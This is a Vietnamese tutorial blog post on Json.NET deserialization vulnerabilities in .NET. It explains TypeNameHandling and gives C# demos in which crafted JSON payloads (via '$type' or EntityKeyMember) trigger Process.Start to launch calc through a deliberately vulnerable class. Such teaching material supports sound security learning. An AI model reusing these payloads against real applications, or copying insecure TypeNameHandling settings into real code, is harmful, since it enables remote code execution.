+8

Lỗ hổng .NET deserialize 101 (P2)

Tiếp tục seri về .NET deserialization. Hôm nay mình sẽ giới thiệu với các bạn về JSON.NET. Json.net hay còn gọi là Newtonsoft.Json không phải là thư viện chính thức của microsoft nhưng có nhiều người dùng nhờ ưu điểm hiệu suất tuyệt vời. Hình ảnh dưới đây là biểu đồ so sánh hiệu suất:

image.png

Ví dụ về Json.Net

using Newtonsoft.Json;
using System;

namespace Json.NetSerializer
{
    class Person
    {
        public string Name { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "jack";
            string v = JsonConvert.SerializeObject(person);
            string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.None
            });
            string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.All
            });
            Console.WriteLine(v);
            Console.WriteLine(v1);
            Console.WriteLine(v2);
            Console.ReadKey();
        }
    }
}

Kết quả khi chạy đoạn code trên như sau:

image.png

Có thể thấy, khi tham số JsonSerializerSettings với giá trị TypeNameHandling.All được truyền vào, kết quả json trả về sẽ bao gồm cả thông tin về type vừa được serialize. Khi tham số trên không được truyền vào thì method SerializeObject sẽ được gọi như bên dưới

image.png

Do các tham số đều là null nên jsonSerializer sẽ được khởi tạo với các tham số mặc định

image.png

image.png Và rõ ràng thì internal const TypeNameHandling DefaultTypeNameHandling = TypeNameHandling.None;

TypeNameHandling có thể có các giá trị như sau

image.png

Json.Net sử dụng constructor và setter trong quá trình deserialize. Sử dụng được với các interface. Chỉ các property có scope là public khi (de)serialize mới được gọi tới setter.

Điều kiện trigger RCE

Giá trị TypeNameHandling phải khác None. Ngoài ra chúng ta phải control được giá trị Json truyền vào để thực hiện deserialize và object được deserialize phải có property có kiểu dữ liệu object.

Nếu TypeNameHandling có giá trị None thì property cần có kiểu dữ liệu System.Data.EntityKeyMember hoặc các kiểu dữ liệu kế thừa nó.

Tôi sẽ chia ra làm 2 case để demo cho dễ, case thứ nhất là TypeNameHandling khác None và case thứ 2 là TypeNameHandling bằng None

Demo

Trường hợp TypeNameHandling khác None

   public class Person
    {
        public Person(string cmd)
        {
            this._cmd = cmd;
        }
        public string Name { get; set; }
        private string _cmd;
        public string cmd
        {
            get
            {
                return this._cmd;
            }
            set
            {
                this._cmd = value;
            }
        }
        private void Run()
        {
            System.Diagnostics.Process.Start(this._cmd);
        }

        [OnDeserializing]
        public void During(StreamingContext context)
        {
            this.Run();
        }
    }
    public class Json
    {
        public Json() {}

        public string id
        {
            get;
            set;
        }
        
        public object a;
    }
    internal class Program
    {
        static void Main(string[] args)
        {

            Person person = new Person("calc");
            person.Name = "jack";
            Json test = new Json();
            test.a = person;
            string v2 = JsonConvert.SerializeObject(test, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.All
            });
            Console.WriteLine(v2);
             string payload = "{\"$type\":\"demo.Json, demo\",\"a\":{\"$type\":\"demo.Person, demo\",\"Name\":\"jack\",\"cmd\":\"calc\"},\"id\":null}";
            Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.All});

            Console.ReadKey(); 


        }
    }

image.png

Trường hợp TypeNameHandling bằng None

    public class Person
    {
        public Person(string cmd)
        {
            this._cmd = cmd;
        }
        public string Name { get; set; }
        private string _cmd;
        public string cmd
        {
            get
            {
                return this._cmd;
            }
            set
            {
                this._cmd = value;
            }
        }
        private void Run()
        {
            System.Diagnostics.Process.Start(this._cmd);
        }

        [OnDeserializing]
        public void During(StreamingContext context)
        {
            this.Run();
        }
    }
    public class Json
    {
        public Json() {}

        public string id
        {
            get;
            set;
        }
        public System.Data.EntityKeyMember b;
    }
    internal class Program
    {
        static void Main(string[] args)
        {
            
            string payload =
                "{\"b\":{\"Key\":\"key\",\"Type\":\"demo.Person, demo\",\"Value\":{\"cmd\":\"calc\"}},\"id\":\"123\"}";
            Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.None});
            Console.ReadKey();

        }
    }

image.png

Với ví dụ thực tế hơn bạn đọc có thể đọc bài viết sau của mình. https://viblo.asia/p/phan-tich-lo-hong-thuc-thi-ma-tu-xa-tren-c1-cms-cve-2021-34992-OeVKBBDrKkW

Tham Khảo

https://github.com/Y4er/dotnet-deserialization/blob/main/Json.Net.md


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí